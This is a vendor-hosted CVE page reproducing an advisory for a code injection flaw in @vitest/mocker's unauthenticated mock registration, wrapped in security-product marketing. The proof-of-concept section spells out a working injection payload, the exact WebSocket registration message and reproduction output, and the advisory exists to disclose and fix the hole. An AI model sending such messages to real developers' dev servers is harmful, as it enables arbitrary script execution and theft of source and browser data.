CVE-2026-112949

CVE-2026-112949 is a medium-severity code injection vulnerability in @vitest/mocker (npm), affecting versions >= 2.1.0-beta.7, < 4.1.12. It is fixed in 4.1.12, 5.0.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Vitest: Code injection via unauthenticated manual mock registration

@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.

Details

packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:

export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
  const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`

moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.

packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:

configureServer(server) {
  if (options.registerWebSocketEvents === false) { return }
  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
    if (event.type === 'manual') {
      const module = ManualMockedModule.fromJSON(event, async () => {
        const keys = await getFactoryExports(event.url)
        return Object.fromEntries(keys.map(key => [key, null]))
      })
      registry.add(module)                       // no validation of `id` or `url`
    }
    else {
      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }

event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.

With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too, but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it, the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/, repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text, the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration, the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

{ "type": "custom", "event": "vitest:interceptor:register",
  "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
            "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400
PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400
PASS  negative control: with no mock registered the real module is served
PASS  negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
    const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

    let __0 = __factoryModule__["a"]
    export { __0 as "a" }
    if (__factoryModule__.__factoryPromise != null) {
      __factoryModule__.__factoryPromise.then((resolvedModule) => {
        __0 = resolvedModule["a"];
      })
    }
PASS  attacker statement is present in the module the dev server serves
PASS  the real module body was replaced
PASS  the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE
  • Positive control, with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works.
  • Negative control, the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.
  • Precondition controls, the two Origin probes record the boundary honestly.
  • Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only, configureServer does not run for vite build or vite preview.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-112949 has a CVSS score of 4.7 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.12, 5.0.3); upgrading removes the vulnerable code path.

Affected versions

@vitest/mocker (>= 2.1.0-beta.7, < 4.1.12) @vitest/mocker (>= 5.0.0-beta.1, < 5.0.3)

Security releases

@vitest/mocker → 4.1.12 (npm) @vitest/mocker → 5.0.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.

Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.

Frequently Asked Questions

  1. What is CVE-2026-112949? CVE-2026-112949 is a medium-severity code injection vulnerability in @vitest/mocker (npm), affecting versions >= 2.1.0-beta.7, < 4.1.12. It is fixed in 4.1.12, 5.0.3. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2026-112949? CVE-2026-112949 has a CVSS score of 4.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @vitest/mocker are affected by CVE-2026-112949? @vitest/mocker (npm) versions >= 2.1.0-beta.7, < 4.1.12 is affected.
  4. Is there a fix for CVE-2026-112949? Yes. CVE-2026-112949 is fixed in 4.1.12, 5.0.3. Upgrade to this version or later.
  5. Is CVE-2026-112949 exploitable, and should I be worried? Whether CVE-2026-112949 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-112949 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-112949?
    • Upgrade @vitest/mocker to 4.1.12 or later
    • Upgrade @vitest/mocker to 5.0.3 or later

Other vulnerabilities in @vitest/mocker

Stop the waste.
Protect your environment with Kodem.